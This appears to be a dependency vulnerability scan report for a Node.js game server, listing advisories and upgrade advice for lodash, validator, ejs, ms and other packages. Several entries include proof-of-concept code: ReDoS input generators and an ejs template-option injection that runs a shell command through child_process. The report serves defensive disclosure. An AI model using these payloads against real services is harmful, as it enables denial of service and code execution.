  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 glob-parent@3.1.0
    Remediation: Upgrade to swagger-jsdoc@3.0.0.

Overview

glob-parent is a package that helps extracting the non-magic parent path from a glob string.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure regex used to check for strings ending in enclosure containing path separator.

PoC by Yeting Li

var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}

return ret;
}

globParent(build_attack(5000));

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade glob-parent to version 5.1.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: lodash
  • Introduced through: lodash@3.10.1

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer lodash@3.10.1
    Remediation: Upgrade to lodash@4.17.21.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

POC

var lo = require('lodash');

function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}

return ret + "1";
}

var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0)

var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1)

var time2 = Date.now();
lo.trimEnd(s)
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2)

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade lodash to version 4.17.21 or higher.

References

medium severity

Inefficient Regular Expression Complexity

  • Vulnerable module: micromatch
  • Introduced through: swagger-jsdoc@1.10.3

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10
    Remediation: Upgrade to swagger-jsdoc@3.0.0.
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10

Overview

Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces() function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.

Remediation

Upgrade micromatch to version 4.0.8 or higher.

References

medium severity

Improper Validation of Specified Type of Input

  • Vulnerable module: validator
  • Introduced through: swagger-jsdoc@1.10.3

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 swagger-parser@3.4.2 z-schema@3.25.1 validator@10.11.0
    Remediation: Upgrade to swagger-jsdoc@3.3.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the isURL() function which does not take into account : as the delimiter in browsers. An attackers can bypass protocol and domain validation by crafting URLs that exploit the discrepancy in protocol parsing that can lead to Cross-Site Scripting and Open Redirect attacks.

Remediation

Upgrade validator to version 13.15.20 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: swagger-jsdoc@1.10.3

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 swagger-parser@3.4.2 z-schema@3.25.1 validator@10.11.0
    Remediation: Upgrade to swagger-jsdoc@3.3.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug function

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "111"
    for (var i = 0; i < n; i++) {
        ret += "a"
    }

    return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isSlug(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: swagger-jsdoc@1.10.3

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 swagger-parser@3.4.2 z-schema@3.25.1 validator@10.11.0
    Remediation: Upgrade to swagger-jsdoc@3.3.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "hsla(0"
    for (var i = 0; i < n; i++) {
        ret += " "
    }

    return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isHSL(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: swagger-jsdoc@1.10.3

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 swagger-parser@3.4.2 z-schema@3.25.1 validator@10.11.0
    Remediation: Upgrade to swagger-jsdoc@3.3.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "<"
    }

    return ret+"";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        validator.isEmail(attack_str,{ allow_display_name: true })
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Uninitialized Memory Exposure

  • Vulnerable module: tunnel-agent
  • Introduced through: request@2.68.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0 tunnel-agent@0.4.3
    Remediation: Upgrade to request@2.81.0.

Overview

tunnel-agent is HTTP proxy tunneling agent. Affected versions of the package are vulnerable to Uninitialized Memory Exposure.

A possible memory disclosure vulnerability exists when a value of type number is used to set the proxy.auth option of a request request and results in a possible uninitialized memory exposures in the request body.

This is a result of unobstructed use of the Buffer constructor, whose insecure default constructor increases the odds of memory leakage.

Details

Constructing a Buffer class with integer N creates a Buffer of length N with raw (not "zero-ed") memory.

In the following example, the first call would allocate 100 bytes of memory, while the second example will allocate the memory needed for the string "100":

// uninitialized Buffer of length 100
x = new Buffer(100);
// initialized Buffer with value of '100'
x = new Buffer('100');

tunnel-agent's request construction uses the default Buffer constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw server side memory, potentially holding secrets, private data and code. This is a similar vulnerability to the infamous Heartbleed flaw in OpenSSL.

Proof of concept by ChALkeR

require('request')({
  method: 'GET',
  uri: 'http://www.example.com',
  tunnel: true,
  proxy:{
      protocol: 'http:',
      host:"127.0.0.1",
      port:8080,
      auth:80
  }
});

You can read more about the insecure Buffer behavior on our blog.

Similar vulnerabilities were discovered in request, mongoose, ws and sequelize.

Remediation

Upgrade tunnel-agent to version 0.6.0 or higher. Note This is vulnerable only for Node <=4

References

medium severity

Session Fixation

  • Vulnerable module: passport
  • Introduced through: passport@0.3.2

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer passport@0.3.2
    Remediation: Upgrade to passport@0.6.0.

Overview

passport is a Simple, unobtrusive authentication for Node.js.

Affected versions of this package are vulnerable to Session Fixation. When a user logs in or logs out, the session is regenerated instead of being closed.

Remediation

Upgrade passport to version 0.6.0 or higher.

References

medium severity

Improper Handling of Unexpected Data Type

  • Vulnerable module: on-headers
  • Introduced through: morgan@1.6.1

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer morgan@1.6.1 on-headers@1.0.2
    Remediation: Upgrade to morgan@1.10.1.

Overview

Affected versions of this package are vulnerable to Improper Handling of Unexpected Data Type via the response.writeHead function. An attacker can manipulate HTTP response headers by passing an array to this function, potentially leading to unintended disclosure or modification of header information.

Workaround

This vulnerability can be mitigated by passing an object to response.writeHead() instead of an array.

Remediation

Upgrade on-headers to version 1.1.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: lodash
  • Introduced through: lodash@3.10.1

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer lodash@3.10.1
    Remediation: Upgrade to lodash@4.17.11.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade lodash to version 4.17.11 or higher.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: ejs
  • Introduced through: ejs@2.7.4

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer ejs@2.7.4
    Remediation: Upgrade to ejs@3.1.6.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

POC

let ejs = require('ejs')
ejs.render('./views/test.ejs',{
    filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
    compileDebug: true,
    message: 'test',
    client: true
})

Remediation

Upgrade ejs to version 3.1.6 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: debug
  • Introduced through: morgan@1.6.1

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer morgan@1.6.1 debug@2.2.0
    Remediation: Upgrade to morgan@1.9.0.

Overview

debug is a small debugging utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors via manipulation of the str argument. The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.

Note: CVE-2017-20165 is a duplicate of this vulnerability.

PoC

Use the following regex in the %o formatter.

/\s*\n\s*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade debug to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ms
  • Introduced through: jsonwebtoken@5.7.0, express-jwt@3.4.0 and others

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer jsonwebtoken@5.7.0 ms@0.7.3
    Remediation: Upgrade to jsonwebtoken@7.4.1.
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer express-jwt@3.4.0 jsonwebtoken@5.7.0 ms@0.7.3
    Remediation: Upgrade to express-jwt@5.3.0.
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer morgan@1.6.1 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to morgan@1.8.2.

Overview

ms is a tiny millisecond conversion utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms() function.

Proof of concept

ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s

Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.

For more information on Regular Expression Denial of Service (ReDoS) attacks, go to our blog.

Disclosure Timeline

  • Feb 9th, 2017 - Reported the issue to package owner.
  • Feb 11th, 2017 - Issue acknowledged by package owner.
  • April 12th, 2017 - Fix PR opened by Snyk Security Team.
  • May 15th, 2017 - Vulnerability published.
  • May 16th, 2017 - Issue fixed and version 2.0.0 released.
  • May 21th, 2017 - Patches released for versions >=0.7.1, <=1.0.0.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

